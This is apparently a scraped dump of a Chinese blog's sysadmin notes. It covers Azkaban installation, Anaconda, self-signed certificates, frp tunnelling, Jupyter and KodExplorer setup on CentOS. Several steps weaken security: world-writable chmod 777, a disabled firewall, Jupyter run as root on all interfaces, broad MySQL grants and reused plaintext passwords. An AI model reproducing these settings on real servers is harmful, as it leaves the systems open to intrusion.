/export/servers/azkaban-solo-server-0.1.0-SNAPSHOT/confvim azkaban.properties azkaban.propertiesdefault.timezone.id=Asia/Shanghai 修改 commonprivate.properties 配置文件 cd /export/servers/azkaban-solo-server-0.1.0-SNAPSHOT/plugins/jobtypesvim commonprivate.properties commonprivate.propertiesexecute.as.user=falsememCheck.enabled=false 第三步：启动 solo-server启动 azkaban-solo-server cd /export/servers/azkaban-solo-server-0.1.0-SNAPSHOTbin/start-solo.sh 第四步：浏览器页面访问浏览器页面访问 http://node03:8081/ azkaban 两个服务模式安装确认所需软件Azkaban Web 服务安装包azkaban-web-server-0.1.0-SNAPSHOT.tar.gzAzkaban 执行服务安装包azkaban-exec-server-0.1.0-SNAPSHOT.tar.gz编译之后的 sql 脚本create-all-sql-0.1.0-SNAPSHOT.sqlC 程序文件脚本execute-as-user.c 程序 数据库准备进入 mysql 的客户端执行以下命令 mysql -uroot -p CREATE DATABASE azkaban;CREATE USER 'azkaban'@'%' IDENTIFIED BY 'azkaban';GRANT all privileges ON azkaban.* to 'azkaban'@'%' identified by 'azkaban' WITH GRANT OPTION;flush privileges;use azkaban;source /export/softwares/create-all-sql-0.1.0-SNAPSHOT.sql; 解压软件安装包解压 azkaban-web-server cd /export/softwarestar -zxvf azkaban-web-server-0.1.0-SNAPSHOT.tar.gz -C ../servers/cd /export/serversmv azkaban-web-server-0.1.0-SNAPSHOT/ azkaban-web-server-3.51.0 解压 azkaban-exec-server cd /export/softwarestar -zxvf azkaban-exec-server-0.1.0-SNAPSHOT.tar.gz -C ../servers/cd /export/serversmv azkaban-exec-server-0.1.0-SNAPSHOT/ azkaban-exec-server-3.51.0 安装 SSL 安全认证 允许我们使用 https 的方式访问 azkaban 的 web 服务密码 azkaban 一定要一个个的字母输入，或者粘贴也行 cd /export/servers/azkaban-web-server-3.51.0keytool -keystore keystore -alias jetty -genkey -keyalg RSA azkaban web server 安装修改 azkaban-web-server 的配置文件 cd /export/servers/azkaban-web-server-3.51.0/confvim azkaban.properties azkaban.properties# Azkaban Personalization Settingsazkaban.name=Azkabanazkaban.label=My Azkabanazkaban.color=#FF3601azkaban.default.servlet.path=/indexweb.resource.dir=web/default.timezone.id=Asia/Shanghai# Azkaban UserManager classuser.manager.class=azkaban.user.XmlUserManageruser.manager.xml.file=conf/azkaban-users.xml# Loader for projectsexecutor.global.properties=conf/global.propertiesazkaban.project.dir=projects# Velocity dev modevelocity.dev.mode=false# Azkaban Jetty server properties.jetty.use.ssl=truejetty.maxThreads=25jetty.port=8081jetty.keystore=/export/servers/azkaban-web-server-3.51.0/keystorejetty.password=azkabanjetty.keypassword=azkabanjetty.truststore=/export/servers/azkaban-web-server-3.51.0/keystorejetty.trustpassword=azkaban# Azkaban Executor settings# mail settingsmail.sender=mail.host=# User facing web server configurations used to construct the user facing server URLs. They are useful when there is a reverse proxy between Azkaban web servers and users.# enduser -> myazkabanhost:443 -> proxy -> localhost:8081# when this parameters set then these parameters are used to generate email links.# if these parameters are not set then jetty.hostname, and jetty.port(if ssl configured jetty.ssl.port) are used.# azkaban.webserver.external_hostname=myazkabanhost.com# azkaban.webserver.external_ssl_port=443# azkaban.webserver.external_port=8081job.failure.email=job.success.email=lockdown.create.projects=falsecache.directory=cache# JMX statsjetty.connector.stats=trueexecutor.connector.stats=true# Azkaban mysql settings by default. Users should configure their own username and password.database.type=mysqlmysql.port=3306mysql.host=node03mysql.database=azkabanmysql.user=azkabanmysql.password=azkabanmysql.numconnections=100#Multiple Executorazkaban.use.multiple.executors=true#azkaban.executorselector.filters=StaticRemainingFlowSize,MinimumFreeMemory,CpuStatusazkaban.executorselector.comparator.NumberOfAssignedFlowComparator=1azkaban.executorselector.comparator.Memory=1azkaban.executorselector.comparator.LastDispatched=1azkaban.executorselector.comparator.CpuUsage=1#executor.port=12321 azkaban executor server 安装第一步：修改 azkaban-exex-server 配置文件 cd /export/servers/azkaban-exec-server-3.51.0/confvim azkaban.properties azkaban.properties# Azkaban Personalization Settingsazkaban.name=Azkabanazkaban.label=My Azkabanazkaban.color=#FF3601azkaban.default.servlet.path=/indexweb.resource.dir=web/default.timezone.id=Asia/Shanghai# Azkaban UserManager classuser.manager.class=azkaban.user.XmlUserManageruser.manager.xml.file=conf/azkaban-users.xml# Loader for projectsexecutor.global.properties=conf/global.propertiesazkaban.project.dir=projects# Velocity dev modevelocity.dev.mode=false# Azkaban Jetty server properties.jetty.use.ssl=truejetty.maxThreads=25jetty.port=8081jetty.keystore=/export/servers/azkaban-web-server-3.51.0/keystorejetty.password=azkabanjetty.keypassword=azkabanjetty.truststore=/export/servers/azkaban-web-server-3.51.0/keystorejetty.trustpassword=azkaban# Where the Azkaban web server is locatedazkaban.webserver.url=https://node03:8443# mail settingsmail.sender=mail.host=# User facing web server configurations used to construct the user facing server URLs. They are useful when there is a reverse proxy between Azkaban web servers and users.# enduser -> myazkabanhost:443 -> proxy -> localhost:8081# when this parameters set then these parameters are used to generate email links.# if these parameters are not set then jetty.hostname, and jetty.port(if ssl configured jetty.ssl.port) are used.# azkaban.webserver.external_hostname=myazkabanhost.com# azkaban.webserver.external_ssl_port=443# azkaban.webserver.external_port=8081job.failure.email=job.success.email=lockdown.create.projects=falsecache.directory=cache# JMX statsjetty.connector.stats=trueexecutor.connector.stats=true# Azkaban plugin settingsazkaban.jobtype.plugin.dir=plugins/jobtypes# Azkaban mysql settings by default. Users should configure their ownusername and password.database.type=mysqlmysql.port=3306mysql.host=node03mysql.database=azkabanmysql.user=azkabanmysql.password=azkabanmysql.numconnections=100# Azkaban Executor settingsexecutor.maxThreads=50executor.flow.threads=30 第二步：添加插件 将我们编译后的 C 文件 execute-as-user.c上传到这个目录来/export/servers/azkaban-exec-server-3.51.0/plugins/jobtypes或者直接将我们/export/softwares 下面的文件拷贝过来也行 cp /export/softwares/execute-as-user.c /export/servers/azkaban-execserver-3.51.0/plugins/jobtypes/ 然后执行以下命令生成 execute-as-user yum -y install gcc-c++cd /export/servers/azkaban-exec-server-3.51.0/plugins/jobtypesgcc execute-as-user.c -o execute-as-userchown root execute-as-userchmod 6050 execute-as-user 第三步：修改配置文件 修改配置文件 cd /export/servers/azkaban-exec-server-3.51.0/plugins/jobtypesvim commonprivate.properties commonprivate.propertiesexecute.as.user=falsememCheck.enabled=falseazkaban.native.lib=/export/servers/azkaban-exec-server3.51.0/plugins/jobtypes 启动服务第一步：启动 azkaban exec server cd /export/servers/azkaban-exec-server-3.51.0bin/start-exec.sh 第二步：激活我们的 exec-server node03 机器任意目录下执行以下命令 (随机找个端口号进行激活) curl -G \"node03:$(<./executor.port)/executor?action=activate\" && echo 第三步：启动 azkaban-web-serve cd /export/servers/azkaban-web-server-3.51.0/bin/start-web.sh 访问地址：https://node03:8443 修改 linux 的时区问题由于先前做好了时钟同步，所以不用担心时区问题，不需要修改时区了注：先配置好服务器节点上的时区1、先生成时区配置文件 Asia / Shanghai，用交互式命令 tzselect 即可2、拷贝该时区文件，覆盖系统本地时区配置 cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime Azkaban 实战Azkaba 内置的任务类型支持 command、javaCommand 类型单一 job 示例创建 job 描述文件创建文本文件，更改名称为 mycommand.job注意后缀.txt 一定不要带上，保存为格式为 UFT-8 without bom内容如下 type=commandcommand=echo 'hello world' 将 job 资源文件打包成 zip 文件创建 project 并上传压缩包通过 azkaban 的 web 管理平台创建 project 并上传 job 压缩包首先创建 project上传 zip 包启动执行 job Command 类型多 job 工作流 flow1、创建有依赖关系的多个 job 描述 第一个 job：foo.job type=commandcommand=echo 'foo' 第二个 job：bar.job 依赖 foo.job type=commanddependencies=foocommand=echo 'bar' 2、将所有 job 资源文件打到一个 zip 包中3、在 azkaban 的 web 管理界面创建工程并上传 zip 包4、启动工作流 flow HDFS 操作任务 (通过 azkaban 在 hdfs 上创建一个目录)1、创建 job 描述文件 fs.job type=commandcommand=/export/servers/hadoop-2.6.0-cdh5.14.0/bin/hdfs dfs -mkdir /azkaban 2、将 job 资源文件打包成 zip 文件3、通过 azkaban 的 web 管理平台创建 project 并上传 job 压缩包4、启动执行该 job MAPREDUCE 任务Mr 任务依然可以使用 command 的 job 类型来执行 1、创建 job 描述文件，及 mr 程序 jar 包（示例中直接使用 hadoop 自带的 example jar） type=commandcommand=/export/servers/hadoop-2.6.0-cdh5.14.0/bin/hadoop jar hadoopmapreduce-examples-2.6.0-cdh5.14.0.jar pi 3 5 2、将所有 job 资源文件打到一个 zip 包中3、在 azkaban 的 web 管理界面创建工程并上传 zip 包4、启动 job HIVE 脚本任务创建 job 描述文件和 hive 脚本Hive 脚本： hive.sql create database if not exists azhive;use azhive;create table if not exists aztest(id string,name string) row format delimitedfields terminated by '\\t'; Job 描述文件：hive.job type=commandcommand=/export/servers/hive-1.1.0-cdh5.14.0/bin/hive -f 'hive.sql' 将所有 job 资源文件打到一个 zip 包中在 azkaban 的 web 管理界面创建工程并上传 zip 包启动 job cd /export/servers/hive-1.1.0-cdh5.14.0/bin/hiveshow databases;use azhive;show tables; azkaban 的定时任务使用 azkaban 的 scheduler 功能可以实现对我们的作业任务进行定时调度功能"},{"title":"","date":"2019-05-10T06:37:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Azkaban/overview.html","permalink":"https://blog.mhuig.top/notes/Azkaban/overview","excerpt":"","text":"Overview Azkaban Overview 为什么需要工作流调度系统 一个完整的数据分析系统通常都是由大量任务单元组成：shell 脚本程序，java 程序，mapreduce 程序、hive 脚本等 各任务单元之间存在时间先后及前后依赖关系 为了很好地组织起这样的复杂执行计划，需要一个工作流调度系统来调度执行； 例如，我们可能有这样一个需求，某个业务系统每天产生 20G 原始数据，我们每天都要对其进行处理，处理步骤如下所示： 1、 通过 Hadoop 先将原始数据同步到 HDFS 上； 2、 借助 MapReduce 计算框架对原始数据进行转换，生成的数据以分区表的形式存储到多张 Hive 表中； 3、 需要对 Hive 中多个表的数据进行 JOIN 处理，得到一个明细数据 Hive 大表； 4、 将明细数据进行各种统计分析，得到结果报表信息； 5、 需要将统计分析得到的结果数据同步到业务系统中，供业务调用使用。 工作流调度实现方式简单的任务调度：直接使用 linux 的 crontab 来定义；复杂的任务调度：开发调度平台或使用现成的开源调度系统，比如 ooize、azkaban、airflow 等 常见工作流调度系统市面上目前有许多工作流调度器在 hadoop 领域，常见的工作流调度器有 Oozie, Azkaban,Cascading,Hamake 等 Azkaban 介绍azkaban 官网：https://azkaban.github.io/ Azkaban 是由 Linkedin 开源的一个批量工作流任务调度器。用于在一个工作流内以一个特定的顺序运行一组工作和流程。Azkaban 定义了一种 KV 文件 (properties) 格式来建立任务之间的依赖关系，并提供一个易于使用的 web 用户界面维护和跟踪你的工作流。它有如下功能特点： Web 用户界面 方便上传工作流 方便设置任务之间的关系 调度工作流 认证 / 授权 (权限的工作) 能够杀死并重新启动工作流 模块化和可插拔的插件机制 项目工作区 工作流和任务的日志记录和审计"},{"title":"","date":"2019-09-22T03:14:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/anaconda3.html","permalink":"https://blog.mhuig.top/notes/CentOS/anaconda3","excerpt":"","text":"安装 Anaconda3 Centos7 安装 Anaconda3 Anaconda 是一个免费开源的 Python 和 R 语言的发行版本，用于计算科学（数据科学、机器学习、大数据处理和预测分析），Anaconda 致力于简化包管理和部署。 安装下载 Anaconda方式一：官方网站 方式二：清华大学开源软件镜像站 可以下载到本地，然后通过 xftp 上传到 Contos 上 bash   Anaconda3-4.4.0-Linux-x86_64.sh 该按 enter 按，该 yes|no 的 yes。 source ~/.bashrc 然后重启终端，然后输入 python Anaconda 虚拟环境创建环境conda create -n envname python=3.6  删除环境conda remove -n envname --all 激活环境source activate envname 退出环境source deactivate Anaconda 换源添加清华源conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forgeconda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/msys2/conda config --set show_channel_urls yes 删源conda config --remove-key channels 附录清华大学开源软件镜像站 channels: - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ - https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/ssl_verify: true 上海交通大学开源镜像站 channels: - https://mirrors.sjtug.sjtu.edu.cn/anaconda/pkgs/main/ - https://mirrors.sjtug.sjtu.edu.cn/anaconda/pkgs/free/ - https://mirrors.sjtug.sjtu.edu.cn/anaconda/cloud/conda-forge/ssl_verify: true 中国科学技术大学 USTC Mirror channels: - https://mirrors.ustc.edu.cn/anaconda/pkgs/main/ - https://mirrors.ustc.edu.cn/anaconda/pkgs/free/ - https://mirrors.ustc.edu.cn/anaconda/cloud/conda-forge/ssl_verify: true .bashrc 里面修改过 PATH 环境变量，添加过 anaconda/bin vi ~/.bashrc 最后添加 conda deactivate source .bashrc"},{"title":"","date":"2019-09-19T03:24:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/centosx3.html","permalink":"https://blog.mhuig.top/notes/CentOS/centosx3","excerpt":"","text":"三台虚拟机创建并联网 大数据处理技术 - 三台虚拟机创建并联网 volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-BigData-Archive-4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", \"MHuiG\", \"BigData-Archive\", \"4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", false); })"},{"title":"","date":"2019-09-23T11:53:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/certificate.html","permalink":"https://blog.mhuig.top/notes/CentOS/certificate","excerpt":"","text":"自建 https 证书 自建 https 证书 生成 nginx 的证书与配置 chrome 安全告警的问题 安装 openssl生成根证书openssl req -x509 -nodes -days 1461 -newkey rsa:2048 -subj \"/C=CN/ST=MyProvince/L=MyCity/O=MyOrganization\" -keyout CA-private.key -out CA-certificate.crt -reqexts v3_req -extensions v3_ca 生成私钥openssl genrsa -out private.key 2048 openssl req -new -key private.key -subj \"/C=CN/ST=MyProvince/L=MyCity/O=MyOrganization/CN=xxx.xxx.xxx.xxx\" -sha256 -out private.csr 解决 Chrome 安全警告按照上面的流程，需要注意的是，在默认情况下生成的证书一旦选择信任，在 Edge, Firefox 等浏览器都显示为安全，但是 Chrome 仍然会标记为不安全并警告拦截，这是因为 Chrome 需要证书支持扩展 Subject Alternative Name, 因此生成时需要特别指定 SAN 扩展并添加相关参数。SAN Extension 所需配置文件关键属性： req_distinguished_name: 一节的内容与上面 -subj 一样都是证书的附加信息subjectAltName: 是最关键的属性，取值有两种情况，除前缀外值应与上一步 -subj 中指定的 CN 参数值相同：如果是为某一域名签发证书，则其值可为 DNS:www.example.com 或者使用通配符 DNS:*.example.com；如果为 IP 地址颁发证书，则应该使用 IP:xxx.xxx.xxx.xxx 的形式。 [ req ]default_bits = 2048distinguished_name = req_distinguished_namereq_extensions = sanextensions = san[ req_distinguished_name ]countryName = CNstateOrProvinceName = MyProvincelocalityName = MyCityorganizationName = MyOrganization[SAN]authorityKeyIdentifier=keyid,issuerbasicConstraints=CA:FALSEkeyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEnciphermentsubjectAltName = IP:xxx.xxx.xxx.xxx 将上述内容放到一个文件中, 命名为 private.ext 执行命令, 生成证书openssl x509 -req -days 1461 -in private.csr -CA CA-certificate.crt -CAkey CA-private.key -CAcreateserial -sha256 -out private.crt -extfile private.ext -extensions SAN nginx 中配置如下: server { listen 443; server_name localhost; ssl on; ssl_certificate /alidata/ssl/private.crt; ssl_certificate_key /alidata/ssl/private.key;} 使用证书生成的具体域名证书和私钥可在 nginx 中使用，然后再客户端所在电脑导入根证书： Windows 需要添加根证书至 受信任的根证书颁发机构macOS 将其导入 钥匙串访问 并选择信任另外 Windows 快捷安装根证书脚本如下 (需要管理员权限)： certutil -addstore -f -enterprise -user root \".\\CA-certificate.crt\" 在 window 或者 mac 上安装 private.crt 文件后，nginx 上页面或者接口就可以正常访问了。"},{"title":"","date":"2019-09-22T02:29:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/exif.html","permalink":"https://blog.mhuig.top/notes/CentOS/exif","excerpt":"","text":"PHP - EXIF 扩展 Linux 安装 PHP - EXIF 扩展模块 您可以使用 exif 相关的函数从文件头读取数码相机拍摄的 JPEG 和 TIFF 格式的图像文件元数据。 安装编译 PHP 时安装使用 --enable-exif 选项配置 PHP 来启用 exif 支持。 Windows 用户必须在 php.ini 中启用 php_mbstring.dll 和 php_exif.dll 扩展。请确保在 php.ini 中保持正确的顺序：php_mbstring.dll 必须在 php_exif.dll 之前加载。 源码安装在 PHP 源码中可以找到 EXIF 扩展源码，然后编译安装到当前的 PHP 环境中 cd /Main/sh-1.5.5/php-5.5.7/ext/exif/alidata/server/php-5.5.7/bin/phpize./configure --with-php-config=/alidata/server/php-5.5.7/bin/php-configmake && make install cd 进入/alidata/server/php-5.5.7/etc 文件夹，修改 php.ini，添加 exif.so 扩展 extension = exif.so 重启Apache 服务器service httpd restart Nginx 的服务器Nginx 服务器重启之前，需要先重启 php-fpm service php-fpm restartnginx -s reload 查看使用 phpinfo () 查看 PHP 环境，安装配置成功。"},{"title":"","date":"2019-09-22T06:30:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/frp.html","permalink":"https://blog.mhuig.top/notes/CentOS/frp","excerpt":"","text":"Frp 内网穿透 Frp 内网穿透 frp 是一个可用于内网穿透的高性能的反向代理应用，支持 tcp, udp 协议，为 http 和 https 应用协议提供了额外的能力，且尝试性支持了点对点穿透。 github 启动 frps cd /Main/frp_024.1_server/chmod -Rf 777 ./*./frps -c frps.ini 相关配置 frps.ini# frps.ini[common]bind_port = 7000token = yourtokendashboard_port = 7500dashboard_user = usernamedashboard_pwd = yourpasswordvhost_http_port = 9000 #设置 http 访问端口 frpc.ini# frpc.ini[common]server_addr = x.x.x.x #假设 frps 所在服务器的公网 IP 为 x.x.x.xserver_port = 7000 #与frps.ini bind_port一致token = yourtoken #与frps.ini token一致#[ssh]#type = tcp#local_ip = 127.0.0.1#local_port = 22#remote_port = 8080[web]type = httplocal_port = 8000 #本地机器上 web 服务对应的端口custom_domains = www.yourdomain.com #绑定自定义域名或serverip 关闭防火墙 systemctl stop firewalld.servicesystemctl disable firewalld.service 设置开机自启动 vim /lib/systemd/system/frps.service frps.service#frps.service[Unit]Description=fraps serviceAfter=network.target syslog.targetWants=network.target[Service]Type=simple#启动服务的命令（此处写你的frps的实际安装目录）ExecStart=/Main/frp_024.1_server/frps -c /Main/frp_024.1_server/frps.ini[Install]WantedBy=multi-user.target 然后就启动 frps sudo systemctl start frps 再打开自启动 sudo systemctl enable frps 如果要重启应用，可以这样 sudo systemctl restart frps 如果要停止应用，可以输入 sudo systemctl stop frps 如果要查看应用的日志，可以输入 sudo systemctl status frps"},{"title":"","date":"2019-09-21T08:23:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/gui.html","permalink":"https://blog.mhuig.top/notes/CentOS/gui","excerpt":"","text":"安装 GUI 图形界面 CentOS7 安装 GUI 图形界面 当你安装 CentOS7 服务器版本的时候，系统默认是不会安装 GUI 的图形界面程序，这个需要手动安装 CentOS7 Gnome GUI 包。 在安装 Gnome 包之前，需要检查一下安装源 (yum) 是否正常，因为需要在 yum 命令来安装 gnome 包。 第一步：先检查 yum 是否安装，以及网络是否有网络。如果这两者都没有，先解决网络，在解决 yum 的安装。 第二步：在命令行下 输入下面的命令来安装 Gnome 包。 yum groupinstall \"GNOME Desktop\" \"Graphical Administration Tools\" 第三步：更新系统的运行级别。 ln -sf /lib/systemd/system/runlevel5.target /etc/systemd/system/default.target 第四步：重启机器。启动默认进入图形界面。 reboot Linux 查看端口状态 netstat -ntulp |grep 8000 杀进程 kill -9 id"},{"title":"","date":"2022-05-10T06:48:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/CentOS/index.html","permalink":"https://blog.mhuig.top/notes/CentOS/","excerpt":"CentOS","text":"CentOS CentOS .prev-next{ display: none !important; }"},{"title":"","date":"2019-09-22T06:05:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/jupyter.html","permalink":"https://blog.mhuig.top/notes/CentOS/jupyter","excerpt":"","text":"设置 Jupyter CentOS7 设置 Jupyter Jupyter Notebook（前身是 IPython Notebook）是一个基于 Web 的交互式计算环境，用于创建 Jupyter Notebook 文档。Notebook 一词可以通俗地引用许多不同的实体，主要是 Jupyter Web 应用程序、Jupyter Python Web 服务器或 Jupyter 文档格式（取决于上下文）。Jupyter Notebook 文档是一个 JSON 文档，遵循版本化模式，包含一个有序的输入 / 输出单元格列表，这些单元格可以包含代码、文本（使用 Markdown 语言）、数学、图表和富媒体，通常以 “.ipynb” 结尾扩展。 启动jupyter notebook --allow-root --ip 0.0.0.0 --port 9999 默认不允许 / 不建议 root 启动 jupyter, 如果非要用，加上 --allow-root--ip ip 填写 0.0.0.0 或者本机 ip--port 端口号 启动后，浏览器访问对应 ip 和端口就行，需要输入 token,token 在启动界面有输出 生产配置文件每次记住 token，复制再登录不现实 jupyter notebook --generate-config 生成的配置文件位于 ~/.jupyter/jupyter_notebook_config.py jupyter-notebook password 输入两遍密码 启动，就可以 以固定密码登录了 jupyter notebook --allow-root --ip 0.0.0.0 --port 999 设置浏览器打开 jupyter 默认路径vim ~/.jupyter/jupyter_notebook_config.py 填写自己想要的服务器路径c.NotebookApp.notebook_dir='/' 设置 jupyter 开机启动systemctl 脚本目录：/usr/lib/systemd/系统服务目录：/usr/lib/systemd/system/用户服务目录：/usr/lib/systemd/system/ cd /usr/lib/systemd/system/ vim myjupyter.service [UNIT]#服务描述Description=python jupyter Service#指定了在systemd在执行完那些target之后再启动该服务After=network.target[Service]#定义Service的运行类型，一般是forking(后台运行) #Type=forking 这个会卡住啊,不写Type 或者 如下Type=simple#定义systemctl start|stop|reload *.service 的执行方法（具体命令需要写绝对路径）#注：ExecStartPre为启动前执行的命令# ExecStartPre=/usr/bin/test \"x${NETWORKMANAGER}\" = xyesExecStart=/root/anaconda3/bin/jupyter notebook --allow-root --ip 0.0.0.0 --port 9999#ExecReload=# ExecStop=/home/mobileoa/apps/shMediaManager.sh -stop#创建私有的内存临时空间PrivateTmp=True[Install]#多用户WantedBy=multi-user.target vi /root/.jupyter/jupyter_notebook_config.py # Set ip to '*' to bind on all interfaces (ips) for the public serverc.NotebookApp.ip = '*'# It is a good idea to set a known, fixed port for server accessyc.NotebookApp.port = 9999# 是否打开浏览器c.NotebookApp.open_browser = False#设置工作路径c.NotebookApp.notebook_dir = '/' 重载系统服务systemctl daemon-reload 设置开机启动systemctl enable myjupyter.service 启动服务systemctl start myjupyter.service 停止服务systemctl stop myjupyter.service 重启服务systemctl restart myjupyter.service Notebook 支持虚拟运行环境为了让 Jupyter Notebook 支持虚拟运行环境，需要在 Anaconda 里安装一个插件。回到终端下面，用 C-c 退出目前正在运行的 Jupyter Notebook Server，然后执行： conda install nb_conda 再重新开启 Jupyter Notebook 或者 (better) 安装 ipykernel 首先切换到想要在 jupyter notebook 里使用的虚拟环境： conda activate 环境名称 安装 ipykernel： conda install ipykernel 写入 jupyter 的 kernel 在当前虚拟环境里执行： python -m ipykernel install --user --name 环境名称 --display-name \"Python (环境名称)\" “环境名称” 为当前虚拟环境的名称，最后面引号内的字符串是该虚拟环境显示在 jupyter notebook 界面的名字，可以随意修改。 删除 kernel 环境 上面写入 kernel 的配置并不会随虚拟环境的删除而删除。也就是说即使删除了该虚拟环境，jupyter notebook 的界面上仍会有它的选项，只是无法正常使用。 此时就需要去手动删除 kernel 环境了： jupyter kernelspec remove 环境名称 jupyter 中用 notedown 插件来读取 md 文档pip install https://github.com/mli/notedown/tarball/master vi /root/.jupyter/jupyter_notebook_config.py c.NotebookApp.contents_manager_class = 'notedown.NotedownContentsManager' Jupyter Notebook 自定义主题安装好了 Jupyter Notebook 和 Python 之后，我们就已经搭建好啦运行和笔记环境，可以愉快的开始学习了。 于是本着爱折腾的精神和护眼的需求，我搜索了 Jupyter Notebook 的 themes，也就是自定义主题。果然 Github 上有人一早解决了这个问题。 github # install jupyterthemespip install jupyterthemes# upgrade to latest versionpip install --upgrade jupyterthemes 这时候，你就可以在 terminal 里面调用已经安装好的 themes 啦～ 例如，在 terminal 中输入 jt -l 就会返回所有你安装好的主题的名词列表，这样你就知道了你安装了哪些主题。最终，我的选择是 jt -t chesterish -T -N 表示我选择了 chesterish 这个主题，同时希望打开顶部的工具栏（Toolbar），显示笔记本的名字（Name） Jupyter 扩展配置器（ Jupyter NbExtensions Configurator）可以通过 coda 安装： conda install -c conda-forge jupyter_contrib_nbextensionsconda install -c conda-forge jupyter_nbextensions_configurator 也可以使用 pip 安装 pip install jupyter_nbextensions_configuratorjupyter_contrib_nbextensionsjupyter contrib nbextension install --userjupyter nbextensions_configurator enable --user 1. 标题折叠 Collapsible headings 当你在处理一个大型的 notebooks 时，这项扩展非常有用，它可以让你隐藏部分内容。 通知 Notify 当你长时间运行一个任务程序的时候，程序运行结束后，此扩展功能会自动提醒你。 如需使用此扩展，你需要勾选其对应得选择框，并点击 Notify 按钮来选择一个最短通知时间，即 notebook 最少持续运行多久后进行提醒。（需要注意的是，这个扩展只有在 notebook 被浏览器正常打开的情况下才能正常工作。） 代码折叠 Code folding 进度条 tqdm_notebook tqdm 本质上不是一个 notebook 的扩展，它是 Python 中的一个进度条库。 但是此库有时在 jupyter notebooks 会无法正常工作。 Randy Olson 给出一个小小的提醒： tqdm 是一个 Python 的进度条库，在 jupyter notebook 中则被称之为 \"tqdm_notebook\"。自从在 nootbook 中加入了 tqdm_notebook 扩展功能，你再也不用担心其引发的混乱问题了。 （Randy Olson 2018 年 3 月 2 日） % debug 这个本质上也不是 notebook 的一个扩展，而是 IPython 中的一个魔法命令。为了加深你的理解，建议你读一读 Radek Osmulski 的发布 twitter 上的推文。 % debug 魔法命令 得到了一个异常 重新插入一个新的输入框，输入 % debug，然后运行它交互式的调试方法可以打开并显示代码出现异常的语句，方便你联系前后程序查看具体情况。(Radek 2017 年 12 月 26 日) 其他小的拓展与技巧 % Ismagic ：在输入框中运行这个命令，列出所有可用的 IPython 魔法命令 zen mode 扩展： 隐藏菜单栏，让你更专注于代码 Execute time 扩展：显示程序块运行的时间 autoreload：在不重启 notebook 的情况下，自动载入外部文件，从而修改代码，具体操作如下： %load_ext autoreload %autoreload 2 JUPYTER 服务的 NGINX 配置jupyter 配置配置文件在 /home/{user}/.jupyter/jupyter_notebook_config.py 配置 jupyter 的路径 c.NotebookApp.base_url = '/jupyter/' nginx 配置jupyter 使用了 websocket 协议，所以需要配置支持 websocket。 location /jupyter/ { proxy_pass http://jupyter; proxy_set_header Host $host; proxy_set_header X-Real-Scheme $scheme; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # WebSocket support proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \"upgrade\"; proxy_read_timeout 120s; proxy_next_upstream error;} jupyter notebook 用到了 websocket, 所以需要配置 proxy_set_header Upgrade $http_upgrade;proxy_set_header Connection \"upgrade\";"},{"title":"","date":"2019-09-22T01:29:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/kodexplorer.html","permalink":"https://blog.mhuig.top/notes/CentOS/kodexplorer","excerpt":"","text":"KodExplorer 云服务器部署可道云 (KodExplorer) 在做一些项目的时候，经常有一些文档交流，修改之后的文档在 QQ 或微信上发来发去，还要下载，我们在这里部署 KodExplorer 可道云。 kodexplorer 可道云是目前国内有代表性、美观易用性好的私有云软件，本文介绍在阿里云的云服务器上如何部署 kodexplorer 可道云，搭建私有网盘。 注意：云服务器部署和普通的 Ubuntu 上部署有一些区别，因为云服务器上只能使用命令行，没有界面。 官方下载页面:https://kodcloud.com/download/。其中有 Linux 获取最新版可道云的相关命令。 下载命令： wget http://static.kodcloud.com/update/download/kodexplorer4.40.zip 创建目录： sudo mkdir cloud 解压命令： unzip kodexplorer4.40.zip -d ./cloud 进入对应文件夹，并设置权限： chmod -Rf 777 ./cloudcd ./cloudchmod -Rf 777 ./*"},{"title":"","date":"2020-01-10T12:12:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/network-error.html","permalink":"https://blog.mhuig.top/notes/CentOS/network-error","excerpt":"","text":"Network ERROR CentOS7 重启之后无法联网重启 network 发现报错 虚拟机里边的 CentOS7 重启之后无法联网，重启 network 发现报错。 解决方式：禁用 NetworkManager systemctl stop NetworkManagersystemctl disable NetworkManager 然后重启网络服务，能正常联网了！ service network restart"},{"title":"","date":"2019-09-22T09:35:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/nginx-hide.html","permalink":"https://blog.mhuig.top/notes/CentOS/nginx-hide","excerpt":"","text":"Nginx 隐藏版本号信息 Nginx 隐藏版本号信息 当我们使用 apt 或者其他包管理工具安装完 Nginx 之后，访问网站时 Header 里面会默认携带 Nginx 的版本号信息。 命令行下可以使用命令查看： curl -I http://your-domain HTTP/2 200server: nginx/1.16.1 #这里带有版本号信息date: Thu, 12 Sep 2019 03:06:23 GMTcontent-type: text/html; charset=cache-control: publiccontent-language: auto 而软件漏洞往往都是跟版本绑定的，在管理员没有及时更新修复漏洞的情况下，一旦攻击者知道了你用的 Nginx 